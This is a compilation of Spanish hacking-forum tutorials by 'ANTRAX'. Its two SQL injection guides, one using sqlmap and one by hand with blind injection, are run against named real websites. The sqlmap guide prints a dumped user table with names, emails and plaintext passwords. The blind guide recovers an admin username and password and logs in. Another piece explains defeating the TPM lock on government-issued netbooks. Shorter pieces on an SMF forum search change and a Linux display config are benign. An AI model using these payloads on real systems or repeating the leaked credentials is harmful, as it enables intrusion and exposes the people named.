SQLi Automatizado con SQLMAP

Introducción:

En este paper veremos como obtener los datos de admin de una base de datos utilizando SQLMAP.
Para este tutorial usare Backtrack, ya que viene instalado y está listo para usarse.
Para abrirlo vamos a:

Applications  >>  Backtrack  >>  Exploitation Tools  >>  Web Exploitation Tools  >>  sqlmap

A penas abrimos sqlmap, podremos ver todos los parámetros disponibles, ahora solo usaremos los elementales.


Voy a usar una web vulnerable smartenergyhome.eu
Las querys las haremos desde aquí: smartenergyhome.eu/eng/seh-buildings.php?id=9

Extracción de información

Comenzaremos sacando los nombres de las bases de datos, para ello tipeamos:

python sqlmap.py -u target.com/index.php?id=9 --dbs


El programa comenzara a buscar las bases de datos y las mostrara una vez que finalice de correr


En mi caso me trajo 2, de las cuales una es por el cpanel y la otra es de la web.
La que usaremos será la segunda “smartene_SEH
Ahora que tenemos el nombre de la base de datos, sigue buscar las tablas que posee, para ello vamos a tipear:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH -- tables


Este comando nos arrojara todas las tablas que tiene el sistema, y obviamente debemos buscar alguna que contenga datos de administradores para podernos loguear


En mi caso, la última tabla tiene el nombre “usuarios” por lo tanto, esa debe ser la tabla que tiene los datos de los admines.
Ahora veremos las columnas que tiene esa tabla de usuarios, para ver si en verdad tiene algún usuario y contraseña para luego entrar al panel de admin…
Ahora que conocemos el nombre de la tabla, vamos a tipear ahora lo siguiente:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios -- columns



Esto nos devolverá los nombres de las columnas que tiene dicha tabla.


Como podemos ver, hemos dado con la tabla que buscábamos. Esta tabla posee usuarios y contraseñas.
Para poder ver que datos contiene esta tabla, vamos a tipear:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios - -dump

Una vez ejecutado el comando, nos dará los datos que contiene esa tabla

+----+------------------------+------------------+----------+---------------------+----------+
| id | email                  | nombre           | usuario  | editado             | password |
+----+------------------------+------------------+----------+---------------------+----------+
| 1  | g.zapico@netavanza.com | Gustavo Zapico   | gzapico  | 2009-03-02 06:02:34 | medica3  |
| 2  | genis@vis-tek.com      | Gen\xeds Bayarri | gbayarri | 2009-03-02 06:20:37 | vis-tek  |
| 3  | j.berg@bwcv.es         | Josefin Berg     | jberg    | 2009-03-12 05:05:38 | seh2009  |
| 4  | l.bax@bwcv.es          | Laszlo Bax       | lbax     | 2010-03-26 16:46:18 | seh2009  |
+----+------------------------+------------------+----------+---------------------+----------+

Al ser este un tutorial educativo, no ingresaremos al sistema. Simplemente se expone el manejo de esta poderosa herramienta.
ANTRAX
 

Desactivar el buscador del SMF y reemplazarlo por Google

 
Hola a todos, soy ANTRAX. En este tutorial voy a explicar cómo desactivar el buscador de los foros SMF para que el foro consuma menos recursos del servidor y reemplazarlo por uno que utilice los motores de búsqueda de google.
Comenzaremos entrando al FTP y nos dirigimos a la ruta  ./sources
Modificaremos el archivo Subs.php

Buscamos la linea 3910 que contiene lo siguiente:


'href' => $scripturl . '?action=search',

Y lo modificamos por la ruta en donde tendremos el buscador:

'href' => 'http://underc0de.net/buscador',

 Aprovechamos que estamos en la carpeta Sources y eliminamos estos 4 archivos: Search.php, SearchAPI-Custom.php, SearchAPI-Fulltext.php, SearchAPI-Standard.php


Ahora nos dirigimos a: . /Themes/default y buscamos el archivo index.templates.php

Buscamos la línea 142 y la borramos

Finalmente vamos a la ruta ./Themes/MI TEMA y modificaremos el archivo index.template.php

Buscamos y borramos la línea 147.

Ahora modificaremos el archivo index.php que se encuentra en el directorio principal del foro

Quitamos la línea 305 y 306

Una vez hecho todo esto, habremos eliminado por completo el buscador del SMF.

Ahora crearemos el nuevo buscador.
Nos dirigimos a: http://www.google.es/cse/manage/all y creamos un nuevo buscador
Llenamos todos los campos y damos click en Siguiente

Ahora pasamos a personalizar los colores, fuentes, etc.



Una vez finalizado, damos click en Siguiente y podremos ver el código de nuestro buscador.

Ahora abrimos el Notepad, colocamos lo siguiente


<html>
                <head>

CODIGO DEL BUSCADOR

                </head>
</html>

Lo guardamos con extension html y lo subimos a algún servidor.
Obviamente pueden cambiar el estilo de su buscador. Les muestro como quedo el mío:

Espero que les haya sido de utilidad!

Saludos!

ANTRAX

Resolucion de pantalla en linux - [SiS] 771/671 PCIE VGA

 
Hola a todos, hace unos dias decidi pasar mi Notebook bangho a Linux, pero me encontre con que solo me tomaba la resolucion 640x480 y 800x600

Busque por todos lados la solucion, hasta que logre encontrarla.

Lo que hay que hacer es modificar el xorg.conf que seguramente estara vacio. Para hacer esto, abrimos una terminal (CTRL + ALT + T) y tipeamos:
sudo gedit /etc/X11/xorg.conf
Se nos abrira un editor de texto y colocamos lo siguiente:
# xorg.conf (X.Org X Window System server configuration file)
    #
    # This file was generated by dexconf, the Debian X Configuration tool, using
    # values from the debconf database.
    #
    # Edit this file with caution, and see the xorg.conf manual page.
    # (Type "man xorg.conf" at the shell prompt.)
    #
    # This file is automatically updated on xserver-xorg package upgrades *only*
    # if it has not been modified since the last upgrade of the xserver-xorg
    # package.
    #
    # Note that some configuration settings that could be done previously
    # in this file, now are automatically configured by the server and settings
    # here are ignored.
    #
    # If you have edited this file but would like it to be automatically updated
    # again, run the following command:
    # sudo dpkg-reconfigure -phigh xserver-xorg
     
    Section "Device"
    Identifier "Configured Video Device"
    EndSection
     
    Section "Monitor"
    Identifier "Configured Monitor"
    Vendorname "Generic LCD Display"
    modelname "LCD Panel 1024x768"
    Horizsync 31.5-64.0
    Vertrefresh 56.0 - 65.0
    modeline "1024x768_60.00" 63.50 1024 1072 1176 1328 768 771 775 798 -hsync +vsync
    Gamma 1.0
    # modeline "640x480@60" 25.2 640 656 752 800 480 490 492 525 -vsync -hsync
    # modeline "800x600@56" 36.0 800 824 896 1024 600 601 603 625 +hsync +vsync
    # modeline "800x600@60" 40.0 800 840 968 1056 600 601 605 628 +hsync +vsync
    # modeline "1024x768_60.00" 63.50 1024 1072 1176 1328 768 771 775 798 -hsync +vsync
    # modeline "1280x800_60.00" 40.0 800 840 968 1056 600 601 605 628 +hsync +vsync
    EndSection
     
    Section "Screen"
    Identifier "Default Screen"
    Monitor "Configured Monitor"
    Device "Configured Video Device"
    EndSection

Con esto logre llevar mi resolución a 1280x768

Espero que les sirva!

Saludos!

Desbloquear la Netbook del Gobierno con un clip [Desbloqueo Definitivo]


Introduccion: 

Hola a todos, en este paper les voy a enseñar a desbloquear definitivamente las netbooks entregadas por el gobierno en Argentina. Esto esta probado con una EXO.


Es muy facil, solo consta en resetear el chip TPM que trae debajo de la memoria RAM.
Lo unico que utilizare sera un clip de hojas, aunque tambien puede ser un clip de pelo.

Desarmado:

Lo primero que debemos hacer, es retirar la bateria


Una vez hecho esto, movemos hacia arriba las dos trabitas que posee debajo de la bateria.


Lo que hace esto, es desprender el teclado. Asique ahora abrimos la tapa de la Netbook y removemos el teclado.


Con cuidado desconectamos esa cinta gris que se ve, que es un cable. Para ello, al final del tramo hay una especie de traba, solo la levantamos y la faja sale sin problemas.

Ahora nos toparemos con la chapa de aluminio que esta debajo del teclado y debemos retirarla. Simplemente la desplazamos hacia la izquierda y se desprende.


Como aclare en un principio, el chip se encuentra debajo de la memoria RAM. Asique la retiramos


Tambien retiraremos el plastico negro que se ve. Ya que el chip se encuentra debajo de el.


Y tenemos el chip!

CHIP:

Supuestamente el chip TPM (Trusted Platforn Module) Sirve para mejorar la seguridad ya que almacena contraseñas, cifrados y certificados. Ahora veremos como “hackearlo” con un clip para las hojas…
Lo que debemos hacer ahora, es con el clip tocar la pata 21 y 22 del chip. A continuacion dejo una imagen de cómo se ve el chip aumentado y cuales son las patas que debemos tocar.


Ahora Colocamos la bateria, tocamos con el clip las patas señaladas e introducimos la memoria RAM.
NOTA: La memoria ram no entrara al todo, por lo que debemos tenerla presionada con la mano mientras tocamos las patas.
Una vez hecho esto, encendemos la Netbook (teniendo en contacto las patas del chip y la memoria ram)
La Netbook encendera, pero se quedara trabada en el inicio:


Si nos aparece esto, es por que lo estamos haciendo bien! Ahora apagamos la Netbook y repetimos esto unas 3 veces…
Luego de esto, colocamos la memoria RAM y la encendemos (sin tocar las patas del chip) y corroboramos si enciende o no. En caso de encender, armamos y listo! De caso contrario, volvemos a repetir los pasos de hacerle contacto a las patas del chip


Despedida:

Espero que les haya sido de utilidad y espero que con esto puedan desbloquear sus pcs.
No me hago responsable del mal uso que le puedan dar a este documento o de daños que ustedes puedan producir. Recuerden siempre ser cuidadosos ya que los elementos electronicos son muy sencibles.

Autor: ANTRAX
Dudas y fuente: http://underc0de.org/foro/index.php?topic=12837.0

Blind SQLi [SQLi a ciegas]

Introducción:
Hola a todos los lectores, en este Nuevo paper vamos a ver la Blind SQLi, como es, para que sirve y como emplearla. Intentare explicarlo lo mejor posible y con un ejemplo para que puedan guiarse mejor. Aclaro que este tutorial está hecho con fines educativos y no destructivos. No me hago responsable del mal uso que puedan darle.

¿Qué es Blind SQLi?
Blind SQLi o Ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLi, es utilizada cuando la web no tira ningún tipo de error ya que los webmasters han quitado la o desactivado el SHOW_WARNINGS y SHOW_ERRORS que son los encargados de imprimir errores en pantalla cada vez que se hace una petición errónea a la base de datos pero si podemos comprobar datos por medio de verdaderos o falsos y a lo largo de este paper veremos a que se refiere con esos verdaderos y falsos. El nombre Blind SQLi o SQLi a ciegas hace referencia a que los nombres de las tablas y demás datos que saquemos, lo haremos adivinándolo ya que no mostrara ningún error en pantalla.
Para este paper usaremos la siguiente url como ejemplo: http://digitaria.net

 
Como se puede ver, es de alguien que diseña websites, vamos a ver que tal es el servicio que ofrece…
Para saber si es o no vulnerable, debemos buscar algún sitio en donde haga peticiones a la bd para poder inyectar. Yo probare usando esto: http://www.digitaria.net/noticia.php?id=25

 
Para probar si la web es vulnerable o no, vamos a aplicar intentar ver si nos arroja esos verdaderos o falsos de los que hablamos anteriormente.
Lo que debemos hacer es añadirle a la url esto:
AND 1=1    >> Verdadero
AND 1=0    >> Falso
O sea que si tenemos la url: http://www.digitaria.net/noticia.php?id=25
Para el caso verdadero seria: http://www.digitaria.net/noticia.php?id=25 AND 1=1
Para el caso falso seria: http://www.digitaria.net/noticia.php?id=25 AND 1=0
Veamos como afecta esto en la visualización de la página…
Verdadero:

 Falso:

Como se puede ver, el caso falso no carga nada…
Existen variables al AND como lo es el having

Verdadero >> Having 1=1
Falso >> Having 1=0

Entre otros… Pero nosotros usaremos el AND para no complicarnos tanto…
Ahora vamos a buscar el nombre de alguna tabla de la cual podamos obtener datos que a nosotros nos interese. En este caso, yo quiero encontrar alguna tabla de usuarios o administradores para poderme loguear.
Comencemos…
A nuestra url le vamos a añadir:

AND (SELECT(COUNT(*)) FROM usuarios);

Debería quedar así: 

http://www.digitaria.net/noticia.php?id=25 AND (SELECT(COUNT(*)) FROM usuarios);

El COUNT sirve para realizar un contador con el número de filas que tenga una tabla.
Con esto haremos la consulta para saber si la tabla usuarios existe o no

 
Falso… Debemos seguir probando, hasta que algún nombre que coloquemos de verdadero.
Después de probar varias veces, logre dar con el nombre de la tabla que tiene información valiosa. El nombre de esta tabla es admin y como se ve en la imagen, me volvió a mostrar el contenido, esto quiere decir que es Verdadero.

 
Ahora veremos cuantos registros tiene esta tabla. O sea cuantos usuarios admines tiene esta página. Para ello, modificaremos un poco lo que colocamos anteriormente por esto:

AND (SELECT(COUNT(*)) FROM admin) > 7
Esto quiere decir que hay más de 7 admines

AND (SELECT(COUNT(*)) FROM admin) < 7
Menos de 7 admines

AND (SELECT(COUNT(*)) FROM admin) = 7
Hay 7 admines

En mi caso me dio Verdadero el Segundo caso… Hay menos de 7 admines.
 
Sigo probando bajando la cantidad, hasta que finalmente puedo adivinar cuantos registros hay.
En este caso solo hay 1 solo admin. Si coloco:

AND (SELECT(COUNT(*)) FROM admin) = 1
Me dará Verdadero

Lo que sigue ahora, es buscar los nombres de las columnas para ello inyectaremos lo siguiente:

AND (SELECT(COUNT(name)) FROM usuarios)

En donde “name” será el nombre de la columna que intento adivinar

Falso…
Después de probar varias veces, llegue a que el nombre de una de las columnas se llama “user”
 
Ahora deberíamos seguir probando, hasta dar con el nombre de la columna de la tabla que contiene las contraseñas, ids, entre otras que pueden ser de valor para nosotros... Después de probar con varios nombres como password, passwords, clave, etc… llegue al punto en que me dio verdadero al colocar “pass” y también al colocar “cod”

AND (SELECT(COUNT(pass)) FROM admin)
AND (SELECT(COUNT(cod)) FROM admin) 

Hasta ahora ya tenemos el nombre de la tabla del admin, y el de la columna de id o código, usuario y contraseña.
Ahora veremos como saber que longitud tiene el usuario y la contraseña, esto lo hacemos para saber cuantos caracteres tiene el user y la pass.
Como sabemos que hay 1 solo admin, podemos probar poniendo esto:

AND (SELECT length(user) FROM admin where cod=1) < 7

Explico la línea, Length sirve para saber la cantidad de caracteres que tiene, en este caso la columna user. En donde el cod sea 1. Traducido de forma más fácil, lo que hace esta línea es ver si el usuario tiene menos de 7 caracteres. Y en este caso me da falso…

 
Probare cambiando el signo de lado

AND (SELECT length(user) FROM admin where cod=1) > 7

Para saber si la contraseña tiene más de 7 caracteres, y nuevamente me da falso… esto quiere decir solo una cosa… que la contraseña tiene 7 caracteres. Asique probare poniendo:

AND (SELECT length(user) FROM admin where cod=1) = 7

Y como se puede ver… VERDADERO!!

 
Con esto ya sabemos que el usuario tiene 7 caracteres. Ahora restaría ver cuantos caracteres tiene la contraseña… La inyección es la misma que la que usamos, solo que modificamos user por pass
En mi caso, me dio verdadero que esta inyección:

AND (SELECT length(pass) FROM admin where cod=1) = 7
Tanto el user como la pass tienen 7 caracteres.

Una vez obtenido todos estos datos, podemos pasar a adivinar los datos que contiene cada uno.
Para ello se utiliza la siguiente inyección.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=97

Ahora explico la linea, lo que hace esta inyección es verificar si la primer letra del usuario empieza con “a”. ¿En dónde me fijo esto? En la siguiente tabla:

Ahí vemos que el 97 corresponde a la letra a.
Seguimos probando, hasta que nos dé Verdadero.
Después de probar un rato, llegue a que comienza con “G”

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=71

 
Para pasar al segundo carácter del usuario, debemos cambiar el ,1,1 por ,2,1 Esto sería como decir, el segundo carácter del primer registro. En mi caso me dio verdadero al probar con la letra “r”

AND ascii(substring((SELECT user FROM admin where cod=1),2,1))=114

Una vez que hayamos adivinado todos los caracteres que posee el usuario, hacemos lo mismo pero con la contraseña modificando el “user” por “pass” por ejemplo:

AND ascii(substring((SELECT pass FROM admin where cod=1),1,1))=103

Debemos ir probando carácter por carácter, hasta volver a obtener todos, Recuerden ir cambiando el ,1,1 por la posición que desean comprobar.
Una vez que finalicen, tendrán el usuario y la contraseña. En mi caso:

User: Gregory
Pass: geg*12a

Ahora si buscamos el panel de admin y probamos los datos:
 
Y… Estamos adentrooo!!

 
Bueno, esto fue todo por ahora, espero que hayan podido entender cada uno de los pasos y que les haya resultado útil para aprender la inyección a ciegas.